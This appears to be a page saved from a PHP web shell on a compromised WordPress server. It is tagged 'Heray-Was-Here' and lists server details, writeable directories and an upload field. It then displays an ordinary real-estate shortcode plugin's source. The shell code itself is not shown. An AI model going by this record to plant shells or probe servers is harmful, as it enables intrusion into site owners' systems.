Heray-Was-Here
Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.31
Disable Function : NONE
Directory :  /opt/matlock/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /opt/matlock/wp-content/mu-plugins/custom-shortcodes.php
<?php
/*
Plugin Name: Eric's Shortcodes
Description: Custom shortcodes for custom post types.
Author: Lawton Marketing Group
Version: 1.0
Author URI: http://lawtonmg.com
*/
add_shortcode( 'listings-carousel', 'listing_carousel_sc' );
function listing_carousel_sc ( $atts ) {
  ob_start();
 	$thecontent = apply_filters('the_content',$post->post_content);
  // define attributes and their defaults
  extract( shortcode_atts( array (
      'type' => 'featured-listings',
      'meta_key' => '',
    	'orderby' => '',
      'order' => '',
      'posts' => '10',
      'team' => '',
  ), $atts ) );
  // define query parameters based on attributes
  $options = array(
      'post_type' => $type,
      'meta_key' => $meta_key,
      'orderby' => $orderby,
      'order' => $order,
      'posts_per_page' => $posts,
      'meta_query' => array(
        array(
          'key' => 'property_status',
          'value' => array('Sold', 'Coming Soon'),
          'compare' => 'NOT IN',
  	),
	array(
	  'relation' => 'OR',
	  array(
	    'key' => 'hidden',
	    'value' => 'hidden',
	    'compare' => 'NOT LIKE',
    	  ),
	  array(
	    'key' => 'hidden',
	    'compare' => 'NOT EXISTS',
	  ),
	),
      ),
  );
  $query = new WP_Query( $options );
  // run the loop based on the query
  if ( $query->have_posts()  ) { ?>
    <div class="owl-carousel owl-theme featured-listing-container">
    <?php while ( $query->have_posts() ) : $query->the_post(); ?>
      <?php
        $imgsrc = has_post_thumbnail() ? get_the_post_thumbnail_url('medium') : get_field('banner');
        if (empty($imgsrc)) {
	  $images = get_field('gallery');
	  $imgsrc = $images[0]['sizes']['medium'];
	} elseif (is_array($imgsrc)) {
	  $imgsrc = $imgsrc[0]['sizes']['medium'];
	}
      ?>
      <div class="featured-listing-carousel">
      <a title="<?php the_title(); ?>" class="overlay-link" href="<?php the_permalink() ?>"><?php the_title(); ?></a>
	<img src="<?php echo $imgsrc; ?>" alt="<?php echo get_the_title(); ?>">
	<p class="featured-listing-title"><span class="address"><?php the_field('address') ?></span><span class="price">$<?php echo number_format((int)get_field('price')); ?></span><span class="beds"><?php echo !empty(get_field('bedrooms')) ? get_field('bedrooms') . ' Beds' : ''; ?></span><span class="baths"><?php echo !empty(get_field('bathrooms')) ? get_field('bathrooms') . ' Baths' : ''; ?></span></p>
        <div class="featured-listing-seemore"></div>
      </div>
    <?php endwhile; wp_reset_postdata(); ?>
    </div>
    <script>
       jQuery(document).ready(function($) {
         $('.owl-carousel').owlCarousel({
           items: 3,
           lazyLoad: true,
           loop: true,
           margin: 10,
           nav:true,
           navText: [ '', '' ],
	   dots: false,
	   responsive: {
	     0: { items: 1 },
	     640: { items: 3 }
           }
         });
       });
     </script>
  <?php
      $myvariable = ob_get_clean();
      return $myvariable;
  } else {
    echo '<p>No listings found. Please try again.</p>';
  }
}

add_shortcode( 'listings-slider', 'listing_slider_sc' );
function listing_slider_sc ( $atts ) {
  ob_start();
  // define attributes and their defaults
  extract( shortcode_atts( array (
      'type' => 'featured-listings',
      'meta_key' => '',
      'orderby' => '',
      'order' => '',
      'posts' => '10',
      'team' => '',
  ), $atts ) );
  // define query parameters based on attributes
  $options = array(
      'post_type' => $type,
      'meta_key' => $meta_key,
      'orderby' => $orderby,
      'order' => $order,
      'posts_per_page' => $posts,
      'meta_query' => array(
        'relation' => 'AND',
        array(
	  'key' => 'property_status',
	  'value' => array('Coming Soon', 'Sold'),
	  'compare' => 'NOT IN',
  	),
    array(
      'key' => 'video_embed_code',
      'value' => '',
      'compare' => '!='
    ),
	array(
	  'relation' => 'OR',
	  array(
	    'key' => 'hidden',
	    'value' => 'hidden',
	    'compare' => 'NOT LIKE',
    	  ),
	  array(
	    'key' => 'hidden',
	    'compare' => 'NOT EXISTS',
	  ),
	),
      ),
  );
  $query = new WP_Query( $options );
  // run the loop based on the query
  if ( $query->have_posts()  ) { ?>
    <div class="cycle-slideshow" data-cycle-timeout="3000" data-cycle-speed=1500 data-cycle-slides=".slide">
    <?php $i = 0; $css = ""; ?>
    <?php while ( $query->have_posts() ) : $query->the_post(); ?>
    <?php 
      $i++;
      $banner = get_field('listing_banner');
      $images = get_field('gallery');
      $banner = !empty($banner) ? $banner : $images[0];
      // $path = '/opt/matlock' . substr($banner['sizes']['medium'], strpos($banner['sizes']['medium'], '.com') + 4);
      $path = 'http' . substr($banner['sizes']['medium'], strpos($banner['sizes']['medium'], '.com') + 4);

      $b64image = $path;

      $css .= ".slide-$i { background-image: url($b64image);}";
      $css .= ".slide-$i.enhanced { background-image: url('" . $banner['sizes']['medium'] . "'); }";
      $css .= "@media screen and (min-width: 301px) { .slide-$i.enhanced { background-image: url('" . $banner['sizes']['medium_large'] . "'); } }";
      $css .= "@media screen and (min-width: 769px) { .slide-$i.enhanced { background-image: url('" . $banner['sizes']['large'] . "'); } }";
      $css .= "@media screen and (min-width: 1025px) { .slide-$i.enhanced { background-image: url('" . $banner['url'] . "'); } }";
    ?>
      <div class="slide slide-<?php echo $i; ?>" data-enhanced="<?php echo $banner['url']; ?>">
        <div class="gradient-overlay"></div>
	      <!-- <a title="<?php the_title(); ?>" class="overlay-link" href="<?php the_permalink() ?>"><?php the_title(); ?></a> -->
        <div class="overlay-text">
          <p><?php the_field('address') ?> - <?php the_field('city') ?>, <?php the_field('state') ?></p>
          <?= get_field('video_embed_code') ? "<p><a class='button' data-listing-link='" .get_the_permalink()."' data-video-src='".get_field('video_embed_code')."' href='#'>Watch Cinematic Trailer</a></p>" : ""; ?>
        </div>
      </div>
      <?php if(get_field('video_embed_code')) : ?>
        <div class="video-overlay-container">
          <a class="close-video-overlay lmg-fal lmg-fa-times"></a>
          <div class="inner-video-overlay">
            <div class="video-wrapper">
            </div>
            <p class="text-center"><a href="" class="button">View Listing</a></p>
          </div>
        </div>
      <?php endif; ?>
    <?php endwhile; wp_reset_postdata(); ?>
    <?php
      wp_register_style( 'custom-slider', '' );
      wp_enqueue_style( 'custom-slider' );
      wp_add_inline_style( 'custom-slider', $css ); 
    ?>
    </div>
  <?php
      $myvariable = ob_get_clean();
      return $myvariable;
  } else {
    echo "";
  }
}
add_shortcode( 'staff-page', 'staff_page_sc' );
function staff_page_sc ( $atts ) {
  ob_start();
 	$thecontent = apply_filters('the_content',$post->post_content);
  // define attributes and their defaults
  extract( shortcode_atts( array (
      'type' => 'staff',
      'meta_key' => '',
    	'orderby' => '',
      'order' => '',
      'posts' => '-1',
      'team' => '',
  ), $atts ) );
  // define query parameters based on attributes
  $options = array(
      'post_type' => $type,
      'meta_key' => $meta_key,
      'orderby' => $orderby,
      'order' => $order,
      'posts_per_page' => $posts,
  );
  $query = new WP_Query( $options );
  // run the loop based on the query
  if ( $query->have_posts()  ) { ?>
    <?php while ( $query->have_posts() ) : $query->the_post(); ?>
      <?php $headshot = get_field('headshot'); ?>
      <div class="popup-container" data-popup="<?= get_field('staff_name'); ?>">
        <a class="lmg-fal lmg-fa-times close-popup"></a>
        <div class="row staff-container">
          <div class="large-3 columns headshot">
            <p><img src="<?php echo $headshot['url'] ?>" alt="<?php the_title() ?>" /></p>
            <p><?php echo get_field('phone_number') ?><br>
              <a href="mailto:<?php echo get_field('email_address') ?>"><?php echo get_field('email_address') ?></a></p>
          </div>
          <div class="large-9 columns bio">
            <h2><?php the_title() ?></h2>
            <h3><?php echo get_field('position') ?></h3>
            <p><?php the_content(); ?></p>
          </div>
        </div>
      </div>
    <?php endwhile; wp_reset_postdata(); ?>
  <?php
      $myvariable = ob_get_clean();
      return $myvariable;
  } else {
    echo "";
  }
}

add_shortcode('lmg_sticky_button', 'lmg_sticky_button_func');
function lmg_sticky_button_func() {
	ob_start();
	?>

	<div class="sticky-contact">
	    <a href="#" class="button toggle-button">Contact Us</a>
	    <div class="form-wrapper">
		<p>We love our clients and would love to have you as one!</p>
		<form accept-charset="UTF-8" enctype="multipart/form-data" method="post" action="/wp-admin/admin-ajax.php">
		    <input type="text" name="Field3" required placeholder="First Name" />
		    <input type="text" name="Field4" required placeholder="Last Name" />
		    <input type="tel" name="Field6" required pattern="^\d{3}-\d{3}-\d{4}$" placeholder="Phone (xxx-xxx-xxxx)" />
		    <input type="email" name="Field7" required pattern="^([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x22([^\x0d\x22\x5c\x80-\xff]|\x5c[\x00-\x7f])*\x22)(\x2e([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x22([^\x0d\x22\x5c\x80-\xff]|\x5c[\x00-\x7f])*\x22))*\x40([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x5b([^\x0d\x5b-\x5d\x80-\xff]|\x5c[\x00-\x7f])*\x5d)(\x2e([^\x00-\x20\x22\x28\x29\x2c\x2e\x3a-\x3c\x3e\x40\x5b-\x5d\x7f-\xff]+|\x5b([^\x0d\x5b-\x5d\x80-\xff]|\x5c[\x00-\x7f])*\x5d))*(\.\w{2,})+$" placeholder="Email" />
		    <textarea name="Field8" rows="6" required placeholder="Your message for us"></textarea>
        <div class="g-recaptcha" data-sitekey="6LeKCI4UAAAAAH8mv-9mSNcVvqMunWliyodHZC61"></div>
		    <input type="submit" class="button" value="Submit" />
		    <input type="hidden" name="idstamp" value="3nd22DGJF+8QXvqF3s7AlC10oBEO/ykRrldzEkKpydg=" />
		</form>
	    </div>
	    <script>jQuery('.sticky-contact .toggle-button').click(function(e) { e.preventDefault(); jQuery(this).parent().toggleClass('open');  });</script>
	</div>

	<?php
	return ob_get_clean();
}

add_shortcode( 'lmg_magazine_subscription', 'lmg_magazine_subscription_func' );
function lmg_magazine_subscription_func() {
	wp_enqueue_script( 'magsub', plugins_url( 'mag-sub.js', __FILE__ ), array( 'jquery' ), '1.0.0', true );
	ob_start();
	?>

	<form id="form857" name="form857" class="text-center mag-sub-form" accept-charset="UTF-8" autocomplete="off" enctype="multipart/form-data" method="post" novalidate action="/wp-admin/admin-ajax.php">
		<label class="show-for-sr" for="Field2">Name</label>
		<input id="Field2" name="Field2" type="text" required placeholder="Name" />
		<fieldset>
		<legend>How would you like to receive the magazine?</legend>
		<div>
			<input id="radioDefault_1" name="Field1" type="hidden" value="" />
			<input id="Field1_0" name="Field1" type="radio" data-show="#foli3" value="Mail" required /><label class="choice" for="Field1_0">Mail</label>
			<input id="Field1_1" name="Field1" type="radio" data-show="#foli9" value="Digital" required /><label class="choice" for="Field1_1">Digital</label>
		</div>
		</fieldset>
		<div id="foli3" style="display: none;">
			<label class="desc" id="title3" for="Field3">Address</label>
			<input id="Field3" name="Field3" type="text" placeholder="Street Address" required />
			<input id="Field4" name="Field4" type="text" placeholder="Address Line 2" />
			<input id="Field5" name="Field5" type="text" placeholder="City" required />
			<input id="Field6" name="Field6" type="text" placeholder="State" required />
			<input id="Field7" name="Field7" type="text" placeholder="Zip Code" required />
			<input id="Field8" name="Field8" type="hidden" value="United State" />
		</div>
		<div id="foli9" style="display: none;"><input id="Field9" name="Field9" type="email" spellcheck="false" required placeholder="Email Address" /></div>
    <div class="g-recaptcha" data-sitekey="6Lfv_40UAAAAAKN_WDdzq8aeJOwsgAYdO0BpYVZu"></div>
		<input id="saveForm" class="button" name="saveForm" type="submit" value="Submit" />
		<input type="hidden" id="idstamp" name="idstamp" value="6mhcc5fqWSrExWJsMXnGHAIg5sWbgvWB3mEI4QIpU5I=" />
	</form>

	<?php
	return ob_get_clean();
}

add_shortcode( 'lmg_featured_news', 'lmg_featured_news_func' );
function lmg_featured_news_func() {
  ob_start();
  $args = array(
    'post_type' => 'post',
    'post_status' => 'publish',
    'posts_per_page' => 3,
    'category_name' => 'featured-news',
    'order' => 'DESC',
    'orderby' => 'date',
  );
  $news = new WP_Query($args);
  if ($news->have_posts()) : ?>
    <div class="row featured-news-wrapper">
      <?php while ($news->have_posts()) : $news->the_post(); ?>
        <div class="medium-4 columns" data-ani="fadeInUp">
          <div class="featured-news" style="background-image: url(<?php echo get_the_post_thumbnail_url(); ?>);">
	          <a href="<?php the_permalink(); ?>">
	            <h3><span><?php the_title(); ?></span><span class="button">View More</span></h3>
              <div><span class="button">View More</span></div>
            </a>
          </div>
        </div>
      <?php endwhile; wp_reset_query(); ?>
    </div>
  <?php endif;
  return ob_get_clean();
}

add_shortcode('lmg_title_listings', 'lmg_title_listings_func');
function lmg_title_listings_func() {
  $args = array(
    'post_type' => 'featured-listings',
    'posts_per_page' => 3,
    'post_status' => 'publish',
    'orderby' => 'rand',
    'meta_query' => array(
      //'relation' => 'AND',
      array(
        'key' => 'property_status',
	'value' => array('Coming Soon', 'Sold'),
	'compare' => 'NOT IN',
      ),
      array(
        'relation' => 'OR',
	array(
          'key' => 'hidden',
	  'value' => 'hidden',
	  'compare' => 'NOT LIKE',
	),
	array(
	  'key' => 'hidden',
	  'compare' => 'NOT EXISTS',
	),
      ),
    ),
  );
  $listings = new WP_Query($args);
  ob_start();
  ?>

  <div class="custom-tile-bg-wrapper">
    <?php while($listings->have_posts()) : $listings->the_post(); ?>
      <a href="<?php the_permalink(); ?>">
	<?php
  	$img = get_the_post_thumbnail_url(get_the_ID(), 'large');
	$img = !empty($img) ? $img : get_field('banner');
	if (empty($img)) {
	  $images = get_field('gallery');
	  $img = count($images) > 0 ? $images[0]['sizes']['large'] : '//via.placeholder.com/640x480?text=Image+Placeholder';
	}
	?>
	<img src="<?php echo $img; ?>" alt="<?php the_title(); ?>" />
      </a>
    <?php endwhile; wp_reset_query(); ?>
  </div>

  <?php return ob_get_clean();
}


add_shortcode( 'featured_video', 'featured_video_sc' );
function featured_video_sc ( $atts ) {
  ob_start();
 	$thecontent = apply_filters('the_content',$post->post_content);
  // define query parameters based on attributes
  $options = array(
      'post_type' => 'featured-listings',
      'posts_per_page' => 1,
      'tax_query' => array(
        array(
          'taxonomy' => 'listing-categories',
          'field' => 'slug',
          'terms' => 'featured-video'
        ),
      ),
  );
  $featuredVideo = new WP_Query($options);
  ?>
  <?php if($featuredVideo->have_posts()) : ?>
  <?php while($featuredVideo->have_posts()) : $featuredVideo->the_post(); ?>
    <div class="featured-video-container" data-class="active">
      <div class="draw meet"></div>
      <div class="video-left" data-ani="fadeInLeft" data-delay=".5">
        <div class="video-wrapper">
          <?= get_field('video_embed_code'); ?>
        </div>
      </div>
      <div class="video-desc" data-ani="fadeInRight" data-delay=".5">
        <h2>Featured video</h2>
        <h3><?= get_field('address'); ?></h3>
        <ul class="video-sm">
          <?php if(get_field('youtube')) : ?>
          <li><a target="_blank" href="<?= get_field('youtube') ?>"><img src="/wp-content/files/2021/youtube-icon.png" alt="YouTube" /></a></li>
          <?php endif; ?>
          <li><a target="_blank" href="https://www.facebook.com/sharer.php?u=<?= get_the_permalink(); ?>" class="lmg-fab lmg-fa-facebook-f"></a></li>
          <li><a target="_blank" href="https://www.instagram.com/?url=<?= get_the_permalink(); ?>" class="lmg-fab lmg-fa-instagram"></a></li>
        </ul>
      </div>
    </div>
  <?php endwhile; wp_reset_query(); ?>
  <?php endif; ?>
  <?php return ob_get_clean();
}

add_shortcode( 'staff-page-new', 'staff_page_new_sc' );
function staff_page_new_sc ( $atts ) {
  ob_start();
 	$thecontent = apply_filters('the_content',$post->post_content);
  // define attributes and their defaults
  extract( shortcode_atts( array (
      'type' => 'staff',
      'meta_key' => '',
    	'orderby' => '',
      'order' => '',
      'posts' => '-1',
      'team' => '',
  ), $atts ) );
  // define query parameters based on attributes
  $options = array(
      'post_type' => $type,
      'meta_key' => $meta_key,
      'orderby' => $orderby,
      'order' => $order,
      'posts_per_page' => $posts,
  );
  $query = new WP_Query( $options );
  // run the loop based on the query
  if ( $query->have_posts()  ) { ?>
  <div class="flex-container new-staff-container">
    <?php while ( $query->have_posts() ) : $query->the_post(); ?>
      <?php $headshot = get_field('headshot'); ?>
      <div class="large-4 medium-6 columns animateme" data-ani="fadeInUp" data-popup-link="<?= get_field('staff_name') ?>">
        <div class="inner-columns">
          <div class="headshot-container" style="background-image: url('<?php echo $headshot['url'] ?>');">
            <div class="team-meta">
              <h2><?php the_title() ?></h2>
              <h3><?php echo get_field('position') ?></h3>
            </div>
          </div>
          <p><a class="button" data-popup-link="<?= get_field('staff_name') ?>" href="#">Read About <?= get_field('staff_name'); ?></a></p>
        </div>
      </div>
    <?php endwhile; wp_reset_postdata(); ?>
  </div>
  <?php
      $myvariable = ob_get_clean();
      return $myvariable;
  } else {
    echo "";
  }
}

Hry